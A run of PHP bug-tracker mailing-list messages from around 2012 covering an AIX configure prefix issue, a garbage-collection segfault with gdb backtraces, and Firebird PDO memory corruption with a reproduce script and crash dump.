c:\php-sdk\snap_5_3\vc9\x86\php-5.3.17\zend\zend_stream.c @ 316 + 8 php5ts!file_handle_dtor+14 0290a4e8 018ee828 018ee798 c:\php-sdk\snap_5_3\vc9\x86\php-5.3.17\zend\zend_compile.c @ 174 + b php5ts!zend_llist_del_element+71 016b1754 018ee828 007d9810 016b0150 c:\php-sdk\snap_5_3\vc9\x86\php-5.3.17\zend\zend_llist.c @ 99 + 36 php5ts!zend_destroy_file_handle+26 018ee828 016b0150 016b0150 016b0150 c:\php-sdk\snap_5_3\vc9\x86\php-5.3.17\zend\zend_language_scanner.l @ 242 php5ts!zend_execute_scripts+c4 0002 016b0150 0001 c:\php-sdk\snap_5_3\vc9\x86\php-5.3.17\zend\zend.c @ 1234 php5apache2_2!php_handler+64c 00fba200 006348e0 00fba200 c:\php-sdk\snap_5_3\vc9\x86\php-5.3.17\sapi\apache2handler\sapi_apache2.c @ 671 + 13 libhttpd!ap_run_handler+25 00fba200 6eed3de0 00fba200 00634f68 libhttpd!ap_invoke_handler+b0 00
[PHP-BUG] Bug #63221 [NEW]: configure --prefix=/opt fails to search /opt/ for packages
From: mamfelt at gmail dot com Operating system: AIX PHP version: Irrelevant Package: *Configuration Issues Bug Type: Bug Bug description:configure --prefix=/opt fails to search /opt/ for packages Description: ./configure --prefix /opt Basically, to resolve this I "patch" configure so that all references to /usr/local are replaced by /opt. Note: I have tried ./buildconf --force but get the following message: root@x104:[/data/prj/php/php-RC1-5.3.18]./buildconf --force Forcing buildconf buildconf: checking installation... buildconf: You need autoconf 2.59 or lower to build this version of PHP. You are currently trying to use 2.68 Most distros have separate autoconf 2.13 or 2.59 packages. On Debian/Ubuntu both autoconf2.13 and autoconf2.59 packages exist. Install autoconf2.13 and set the PHP_AUTOCONF env var to autoconf2.13 and try again. make: *** [buildmk.stamp] Error 1 == I went to the autoconf downloads and see that autoconf-2.59 is rather ancient, and wonder if this problem is already resolved using newer tools? [ ] autoconf-2.12.tar.gz 26-Nov-1996 03:00 401K [ ] autoconf-2.13.tar.gz 15-Jan-1999 16:03 433K [ ] autoconf-2.50-2.52.xdelta 18-Jul-2001 09:59 58K ... [ ] autoconf-2.59.tar.bz2 16-Dec-2003 15:53 903K [ ] autoconf-2.59.tar.bz2.sig 16-Dec-2003 15:52 65 [ ] autoconf-2.59.tar.gz 16-Dec-2003 15:52 1.2M [ ] autoconf-2.59.tar.gz.sig 16-Dec-2003 15:52 65 [ ] autoconf-2.60.tar.bz2 26-Jun-2006 13:02 1.0M ... [ ] autoconf-2.68.tar.xz 22-Sep-2010 18:54 1.1M [ ] autoconf-2.68.tar.xz.sig 22-Sep-2010 18:54 556 [ ] autoconf-2.69.tar.gz 24-Apr-2012 23:17 1.8M [ ] autoconf-2.69.tar.gz.sig 24-Apr-2012 23:17 556 [ ] autoconf-2.69.tar.xz 24-Apr-2012 23:17 1.2M [ ] autoconf-2.69.tar.xz.sig 24-Apr-2012 23:17 556 Test script: --- ./configure --prefix=/opt ... checking for xml2-config path... configure: error: xml2-config not found. Please check your libxml2 installation. root@x104:[/data/prj/php/php-RC1-5.3.18] Expected result: ... ... ++ | License: | | This software is subject to the PHP License, available in this | | distribution in the file LICENSE. By continuing this installation | | process, you are bound by the terms of this license agreement. | | If you do not agree with the terms of this license, you must abort | | the installation process at this point.| ++ Thank you for using PHP. Actual result: -- checking for xml2-config path... configure: error: xml2-config not found. Please check your libxml2 installation. -- Edit bug report at https://bugs.php.net/bug.php?id=63221&edit=1 -- Try a snapshot (PHP 5.4): https://bugs.php.net/fix.php?id=63221&r=trysnapshot54 Try a snapshot (PHP 5.3): https://bugs.php.net/fix.php?id=63221&r=trysnapshot53 Try a snapshot (trunk): https://bugs.php.net/fix.php?id=63221&r=trysnapshottrunk Fixed in SVN: https://bugs.php.net/fix.php?id=63221&r=fixed Fixed in release: https://bugs.php.net/fix.php?id=63221&r=alreadyfixed Need backtrace: https://bugs.php.net/fix.php?id=63221&r=needtrace Need Reproduce Script: https://bugs.php.net/fix.php?id=63221&r=needscript Try newer version: https://bugs.php.net/fix.php?id=63221&r=oldversion Not developer issue:https://bugs.php.net/fix.php?id=63221&r=support Expected behavior: https://bugs.php.net/fix.php?id=63221&r=notwrong Not enough info: https://bugs.php.net/fix.php?id=63221&r=notenoughinfo Submitted twice: https://bugs.php.net/fix.php?id=63221&r=submittedtwice register_globals: https://bugs.php.net/fix.php?id=63221&r=globals PHP 4 support discontinued: https://bugs.php.net/fix.php?id=63221&r=php4 Daylight Savings: https://bugs.php.net/fix.php?id=63221&r=dst IIS Stability: https://bugs.php.net/fix.php?id=63221&r=isapi Install GNU Sed:https://bugs.php.net/fix.php?id=63221&r=gnused Floating point limitations: https://bugs.php.net/fix.php?id=63221&r=float No Zend Extensions: https://bugs.php.net/fix.php?id=63221&r=nozend MySQL Configuration Error: https://bugs.php.net/fix.php?id=63221&r=mysqlcfg
Bug #50519 [Com]: segfault in garbage collection when using set_error_handler and DomDocument
Edit report at https://bugs.php.net/bug.php?id=50519&edit=1 ID: 50519 Comment by: ni...@php.net Reported by:robin dot kunde at gmail dot com Summary:segfault in garbage collection when using set_error_handler and DomDocument Status: Closed Type: Bug Package:Reproducible crash Operating System: * PHP Version:5.3, 6 Assigned To:dmitry Block user comment: N Private report: N New Comment: @mplomer at gmx dot de: Your issue probably isn't related to this one, could you maybe open a new bug? It would also be nice if you could attach a short reproduce script, otherwise it's very hard to guess what is going on ;) Previous Comments: [2012-10-05 09:06:05] mplomer at gmx dot de Hi ... we currently reproduced the segfault in the same line (zend_gc.c - "pz = *(zval**)p->pData;": - PHP 5.4.7 - Very long running and memory intensive command line script - Always reproducable GDB-Backtrace: Program terminated with signal 11, Segmentation fault. #0 0x006e7576 in zval_mark_grey (pz=0x2c36d00) at /usr/src/php5.4/source/php5-5.4.7/Zend/zend_gc.c:425 425 pz = *(zval**)p->pData; (gdb) bt #0 0x006e7576 in zval_mark_grey (pz=0x2c36d00) at /usr/src/php5.4/source/php5-5.4.7/Zend/zend_gc.c:425 #1 0x006e84ce in gc_collect_cycles () at /usr/src/php5.4/source/php5-5.4.7/Zend/zend_gc.c:471 #2 0x006e8864 in gc_zval_possible_root (zv=0x2c36d00) at /usr/src/php5.4/source/php5-5.4.7/Zend/zend_gc.c:166 #3 0x006d5dbb in zend_hash_destroy (ht=0x1811dcb8) at /usr/src/php5.4/source/php5-5.4.7/Zend/zend_hash.c:560 #4 0x006c8179 in _zval_dtor_func (zvalue=0x189270f0) at /usr/src/php5.4/source/php5-5.4.7/Zend/zend_variables.c:43 #5 0x006bb29d in _zval_ptr_dtor (zval_ptr=0x2ac8cc0) at /usr/src/php5.4/source/php5-5.4.7/Zend/zend_variables.h:35 #6 0x006d7f28 in _zend_hash_add_or_update (ht=0x7f27eb1873b0, arKey=0x18cb3870 "instruments", nKeyLength=12, pData=0x1, nDataSize=415173616, pDest=0x0, flag=6061480) at /usr/src/php5.4/source/php5-5.4.7/Zend/zend_hash.c:234 #7 0x005c7da8 in T.292 (ht=0x2c36d00, arKey=0x7fff0da8a360 "\370\025\016\353'\177", nKeyLength=2, pData=0x7f27eb1a1200) at /usr/src/php5.4/source/php5-5.4.7/Zend/zend_hash.h:351 #8 0x005ccd66 in spl_array_write_dimension_ex (check_inherited=415524600, object=0x18c466f8, offset=0x18bf5238, value=0x6a624f7961727241) at /usr/src/php5.4/source/php5-5.4.7/ext/spl/spl_array.c:461 #9 0x005cd3b6 in zim_spl_Array_offsetSet (ht=46361856, return_value=0x7fff0da8a360, return_value_ptr=0x2, this_ptr=0x7f27eb1874f0, return_value_used=415173616) at /usr/src/php5.4/source/php5-5.4.7/ext/spl/spl_array.c:713 #10 0x7f280964206b in xdebug_execute_internal () from /usr/lib/php5/20100525/xdebug.so #11 0x00745806 in zend_do_fcall_common_helper_SPEC (execute_data=0x7f280da03108) at /usr/src/php5.4/source/php5-5.4.7/Zend/zend_vm_execute.h:644 #12 0x00732978 in execute (op_array=0x7f27eb19e648) at /usr/src/php5.4/source/php5-5.4.7/Zend/zend_vm_execute.h:410 #13 0x7f2809642509 in xdebug_execute () from /usr/lib/php5/20100525/xdebug.so #14 0x00745b03 in zend_do_fcall_common_helper_SPEC (execute_data=0x7f280da01e40) at /usr/src/php5.4/source/php5-5.4.7/Zend/zend_vm_execute.h:669 #15 0x00732978 in execute (op_array=0x33d0240) at /usr/src/php5.4/source/php5-5.4.7/Zend/zend_vm_execute.h:410 ... [2010-02-03 18:07:26] s...@php.net Automatic comment from SVN on behalf of pajoye Revision: http://svn.php.net/viewvc/?view=revision&revision=294427 Log: - Fixed bug #50519 (segfault in garbage collection when using set_error_handler an.. [2010-01-25 16:46:55] s...@php.net Automatic comment from SVN on behalf of johannes Revision: http://svn.php.net/viewvc/?view=revision&revision=294000 Log: merge -r292624: Fixed bug #50519 (segfault in garbage collection when using set_error_handler and DomDocument (dmitry) [2010-01-11 10:07:52] dmi...@php.net This bug has been fixed in SVN. Snapshots of the sources are packaged every three hours; this change will be in the next snapshot. You can grab the snapshot at http://snaps.php.net/. Thank you for the report, and for helping us make PHP better. [2010-01-11 10:07:10] s...@php.net Automatic comment from SVN on behalf of dmitry Revision: http://svn.php.net/viewvc/?view=revision&revision=293400 Log: Fixed bug #50519 (segfault in garbage collection when using set_error
Bug #50519 [Com]: segfault in garbage collection when using set_error_handler and DomDocument
Edit report at https://bugs.php.net/bug.php?id=50519&edit=1 ID: 50519 Comment by: mplomer at gmx dot de Reported by:robin dot kunde at gmail dot com Summary:segfault in garbage collection when using set_error_handler and DomDocument Status: Closed Type: Bug Package:Reproducible crash Operating System: * PHP Version:5.3, 6 Assigned To:dmitry Block user comment: N Private report: N New Comment: Hi ... we currently reproduced the segfault in the same line (zend_gc.c - "pz = *(zval**)p->pData;": - PHP 5.4.7 - Very long running and memory intensive command line script - Always reproducable GDB-Backtrace: Program terminated with signal 11, Segmentation fault. #0 0x006e7576 in zval_mark_grey (pz=0x2c36d00) at /usr/src/php5.4/source/php5-5.4.7/Zend/zend_gc.c:425 425 pz = *(zval**)p->pData; (gdb) bt #0 0x006e7576 in zval_mark_grey (pz=0x2c36d00) at /usr/src/php5.4/source/php5-5.4.7/Zend/zend_gc.c:425 #1 0x006e84ce in gc_collect_cycles () at /usr/src/php5.4/source/php5-5.4.7/Zend/zend_gc.c:471 #2 0x006e8864 in gc_zval_possible_root (zv=0x2c36d00) at /usr/src/php5.4/source/php5-5.4.7/Zend/zend_gc.c:166 #3 0x006d5dbb in zend_hash_destroy (ht=0x1811dcb8) at /usr/src/php5.4/source/php5-5.4.7/Zend/zend_hash.c:560 #4 0x006c8179 in _zval_dtor_func (zvalue=0x189270f0) at /usr/src/php5.4/source/php5-5.4.7/Zend/zend_variables.c:43 #5 0x006bb29d in _zval_ptr_dtor (zval_ptr=0x2ac8cc0) at /usr/src/php5.4/source/php5-5.4.7/Zend/zend_variables.h:35 #6 0x006d7f28 in _zend_hash_add_or_update (ht=0x7f27eb1873b0, arKey=0x18cb3870 "instruments", nKeyLength=12, pData=0x1, nDataSize=415173616, pDest=0x0, flag=6061480) at /usr/src/php5.4/source/php5-5.4.7/Zend/zend_hash.c:234 #7 0x005c7da8 in T.292 (ht=0x2c36d00, arKey=0x7fff0da8a360 "\370\025\016\353'\177", nKeyLength=2, pData=0x7f27eb1a1200) at /usr/src/php5.4/source/php5-5.4.7/Zend/zend_hash.h:351 #8 0x005ccd66 in spl_array_write_dimension_ex (check_inherited=415524600, object=0x18c466f8, offset=0x18bf5238, value=0x6a624f7961727241) at /usr/src/php5.4/source/php5-5.4.7/ext/spl/spl_array.c:461 #9 0x005cd3b6 in zim_spl_Array_offsetSet (ht=46361856, return_value=0x7fff0da8a360, return_value_ptr=0x2, this_ptr=0x7f27eb1874f0, return_value_used=415173616) at /usr/src/php5.4/source/php5-5.4.7/ext/spl/spl_array.c:713 #10 0x7f280964206b in xdebug_execute_internal () from /usr/lib/php5/20100525/xdebug.so #11 0x00745806 in zend_do_fcall_common_helper_SPEC (execute_data=0x7f280da03108) at /usr/src/php5.4/source/php5-5.4.7/Zend/zend_vm_execute.h:644 #12 0x00732978 in execute (op_array=0x7f27eb19e648) at /usr/src/php5.4/source/php5-5.4.7/Zend/zend_vm_execute.h:410 #13 0x7f2809642509 in xdebug_execute () from /usr/lib/php5/20100525/xdebug.so #14 0x00745b03 in zend_do_fcall_common_helper_SPEC (execute_data=0x7f280da01e40) at /usr/src/php5.4/source/php5-5.4.7/Zend/zend_vm_execute.h:669 #15 0x00732978 in execute (op_array=0x33d0240) at /usr/src/php5.4/source/php5-5.4.7/Zend/zend_vm_execute.h:410 ... Previous Comments: [2010-02-03 18:07:26] s...@php.net Automatic comment from SVN on behalf of pajoye Revision: http://svn.php.net/viewvc/?view=revision&revision=294427 Log: - Fixed bug #50519 (segfault in garbage collection when using set_error_handler an.. [2010-01-25 16:46:55] s...@php.net Automatic comment from SVN on behalf of johannes Revision: http://svn.php.net/viewvc/?view=revision&revision=294000 Log: merge -r292624: Fixed bug #50519 (segfault in garbage collection when using set_error_handler and DomDocument (dmitry) [2010-01-11 10:07:52] dmi...@php.net This bug has been fixed in SVN. Snapshots of the sources are packaged every three hours; this change will be in the next snapshot. You can grab the snapshot at http://snaps.php.net/. Thank you for the report, and for helping us make PHP better. [2010-01-11 10:07:10] s...@php.net Automatic comment from SVN on behalf of dmitry Revision: http://svn.php.net/viewvc/?view=revision&revision=293400 Log: Fixed bug #50519 (segfault in garbage collection when using set_error_handler and DomDocument) [2009-12-31 18:21:00] j...@php.net Well, you fixed it only with --enable-debug being used? :) The remainder of the comments for this report are too long. To view
Bug #61183 [Com]: Firebird PDO memory corruption
Edit report at https://bugs.php.net/bug.php?id=61183&edit=1
ID: 61183
Comment by: james at kenjim dot com
Reported by:noxwizard at gmail dot com
Summary:Firebird PDO memory corruption
Status: Assigned
Type: Bug
Package:PDO related
Operating System: Windows Server 2008 x86
PHP Version:5.3.10
Assigned To:mariuz
Block user comment: N
Private report: N
New Comment:
After further testing I've found that NULL zval's may be passed into
firebird_bind_blob so convert_to_string_ex needs to be called or a check for
NULL param needs to be done before calling Z_STRLEN_P.
Previous Comments:
[2012-10-04 08:30:24] james at kenjim dot com
This problem appears to comes from the handling of blobs. In the function
firebird_bind_blob in firebird_statement.c we pass param in and are destroying
it with zval_dtor. I think we should not be destroying it because it was
provided by firebird_stmt_param_hook and no other path destroys this variable.
Commenting out the zval_dtor(param) line fixes the crashing.
I also don't think we need to call SEPARATE_ZVAL(¶m) or
convert_to_string_ex(¶m) as param appears to always be a string regardless
of what we bind.
[2012-02-25 09:20:30] noxwizard at gmail dot com
Description:
Running Firebird 2.5, and trying to use PDO to run a few queries, I ran into
memory corruption. I've tested the same code on a few other DBMSs via PDO and
they
run fine, so it seems related to the Firebird PDO module. It also doesn't
happen
on every table structure. For example, I tried a table consisting of a single
integer field and the error wasn't triggered. Playing with the script a bit, it
eventually output: zend_mm_heap corrupted
The structure for the table in the example script can be found here:
https://github.com/phpbb/phpbb3/blob/release-
3.0.10/phpBB/install/schemas/firebird_schema.sql#L1319
Test script:
---
prepare('INSERT INTO "PHPBB_USERS"
("USER_ID", "USERNAME", "USERNAME_CLEAN", "USER_PERMISSIONS", "USER_SIG",
"USER_OCC", "USER_INTERESTS") VALUES (?, ?, ?, ?, ?, ?, ?)');
$statement->execute(array (0 => '2', 1 => 'banned', 2 =>
'banned', 3 => '', 4 => '', 5 => '', 6 => ''));
echo 'Statement run: ' . $i . "\n";
}
}
catch (PDOException $e)
{
echo 'Exception: ' . $e->getMessage();
}
Expected result:
The script should run 5000 times and exit cleanly.
Actual result:
--
The script runs through a few iterations and PHP crashes. Altercations to the
script can make it run longer or shorter (without trailing ?> crashes in 2
iterations, with it, crashes after 1998 iterations).
This first backtrace is from a 32bit Windows Server 2008 install running in a
VirtualBox VM:
Entry point php!mainCRTStartup
Create time 2/25/2012 2:40:53 AM
Time spent in user mode 0 Days 0:0:0.15
Time spent in kernel mode 0 Days 0:0:0.781
Function Arg 1 Arg 2 Arg 3 Source
php5ts!zend_mm_set_custom_handlers+225 0001 0212fa20 0212e7e0
php5ts!_estrndup+35 02130770 02272f78
php5ts!_zval_copy_ctor_func+42 0212e7e0 0001 0212f490
php5ts!pdo_stmt_describe_columns+701 0001 02130810
php5ts!execute+1130 02160080 02272f01 634b7838
php5ts!execute+15ed 02272f78 0091f440
php5ts!execute+2e8 0212e548 02272f00 02272f78
php5ts!zend_execute_scripts+fe 0008 02272f78
php5ts!php_execute_script+24c 0091f6f0 02272f78 00ee742c
php!main+b9b 0002 02272f08 02271be0
php!memcpy+160 7ffd7000 0091f830 777b1603
kernel32!BaseThreadInitThunk+12 7ffd7000 75823a7e
ntdll!RtlInitializeExceptionChain+63 00ee3002 7ffd7000
ntdll!RtlInitializeExceptionChain+36 00ee3002 7ffd7000
PHP5TS!ZEND_MM_SET_CUSTOM_HANDLERS+225In
php__PID__4908__Date__02_25_2012__Time_02_41_07AM__420__Second_Chance_Exception_
C005.dmp the assembly instruction at
php5ts!zend_mm_set_custom_handlers+225 in C:\php\php5ts.dll from The PHP Group
has caused an access violation exception (0xC005) when trying to read from
memory location 0x6e6e616a on thread 0
Module Information
Image Name: C:\php\php5ts.dll Symbol Type: PDB
Base address: 0x6349 Time Stamp: Thu Feb 02 13:36:49 2012
Checksum: 0x005a3fb6 Comments:
COM DLL: False Company Name: The PHP Group
ISAPIExtension: False File Description: PHP Script Interpreter
ISAPIFilter: False File Version: 5.3.10
Managed DLL: False Internal Name: PHP Script Interpreter
VB DLL: False Legal Copyright: Copyri
